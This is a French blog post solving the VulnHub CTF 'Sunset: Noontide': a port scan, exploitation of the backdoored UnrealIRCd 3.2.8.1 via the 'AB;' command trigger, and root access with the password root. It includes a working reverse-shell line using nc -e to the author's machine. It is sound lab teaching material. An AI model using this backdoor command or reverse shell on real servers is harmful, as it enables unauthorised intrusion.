Accueil Solution du CTF Sunset: Noontide de VulnHub
Post
Annuler

Solution du CTF Sunset: Noontide de VulnHub

Sunset: Noontide est à l’heure de ces lignes le dernier CTF de la série créé par whitecr0wz.

Il est assez surprenant, déjà sur la liste des ports en écoute. Pour le reste, je dirais juste qu’il faut tester, même les idées qui paraissent stupides.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ sudo nmap -p- -T5 -sCV --script vuln 192.168.56.168
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-10 10:43 CEST
Nmap scan report for 192.168.56.168
Host is up (0.0010s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
6667/tcp open  irc     UnrealIRCd
| irc-botnet-channels: 
|_  ERROR: Closing Link: [192.168.56.1] (Too many unknown connections from your IP)
6697/tcp open  irc     UnrealIRCd
| irc-botnet-channels: 
|_  ERROR: Closing Link: [192.168.56.1] (Too many unknown connections from your IP)
|_ssl-ccs-injection: No reply from server (TIMEOUT)
8067/tcp open  irc     UnrealIRCd
| irc-botnet-channels: 
|_  ERROR: Closing Link: [192.168.56.1] (Too many unknown connections from your IP)
MAC Address: 08:00:27:2A:0B:87 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.49 seconds

On a donc un serveur IRC qui écoute sur 3 ports.

Je me connecte avec HexChat de cette manière je vois la version du serveur dans les messages :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
* *** Couldn't resolve your hostname; using your IP address instead
* You have not registered
* Welcome to the ROXnet IRC Network sirius!sirius@192.168.56.1
* Your host is irc.foonet.com, running version Unreal3.2.8.1
* This server was created Sat 08 Aug EDT at 2020 07:03:52 PM
* irc.foonet.com Unreal3.2.8.1 iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeIKVfMCuzNTGj
* UHNAMES NAMESX SAFELIST HCN MAXCHANNELS=10 CHANLIMIT=#:10 MAXLIST=b:60,e:60,I:60 NICKLEN=30 CHANNELLEN=32 TOPICLEN=307 KICKLEN=307 AWAYLEN=307 MAXTARGETS=20 :are supported by this server
* WALLCHOPS WATCH=128 WATCHOPTS=A SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=beI,kfL,lj,psmntirRcOAQKVCuzNSMTG NETWORK=ROXnet CASEMAPPING=ascii EXTBAN=~,cqnr ELIST=MNUCT STATUSMSG=~&@%+ :are supported by this server
* EXCEPTS INVEX CMDS=KNOCK,MAP,DCCALLOW,USERIP :are supported by this server
* There are 1 users and 0 invisible on 1 servers
* I have 1 clients and 0 servers
* Current Local Users: 1  Max: 1
* Current Global Users: 1  Max: 1
* MOTD File is missing

Cette version a été backdoorée. On trouve sur exploit-db un module Metasploit ainsi qu’un exploit en Perl :

UnrealIRCd 3.2.8.1 - Remote Downloader/Execute - Linux remote Exploit

Dans tous les cas il convient de simplement envoyer une commande système de cette façon au serveur : AB;commande;

J’ai modifié l’exploit Perl pour qu’il utilise des commandes de mon choix, mais ni cURL ni Wget ne semblaient se connecter à ma machine.

Je peux aussi utiliser la commande /raw du client IRC pour passer des commandes directement. J’ai finalement obtenu un reverse-shell avec la commande suivante :

1
/raw AB;nc -e /bin/bash 192.168.56.1 9999

On obtient un shell pour l’utilisateur server :

1
2
3
4
5
6
7
8
$ ncat -l -p 9999 -v
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 192.168.56.168.
Ncat: Connection from 192.168.56.168:46428.
id
uid=1000(server) gid=1000(server) groups=1000(server),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)

Et notre premier flag :

1
2
server@noontide:/home/server$ cat local.txt 
c53c08b5bf2b0801c5d0c24149826a6e

Après avoir énuméré pendant un moment sans résultats j’ai juste tenté de me connecter avec root / root et c’est passé :

1
2
3
4
5
6
7
8
9
server@noontide:/home/server$ su
Password: 
root@noontide:/home/server# cd
root@noontide:~# ls
proof.txt
root@noontide:~# cat proof.txt 
ab28c8ca8da1b9ffc2d702ac54221105

Thanks for playing! - Felipe Winsnes (@whitecr0wz)
Cet article est sous licence CC BY 4.0 par l'auteur.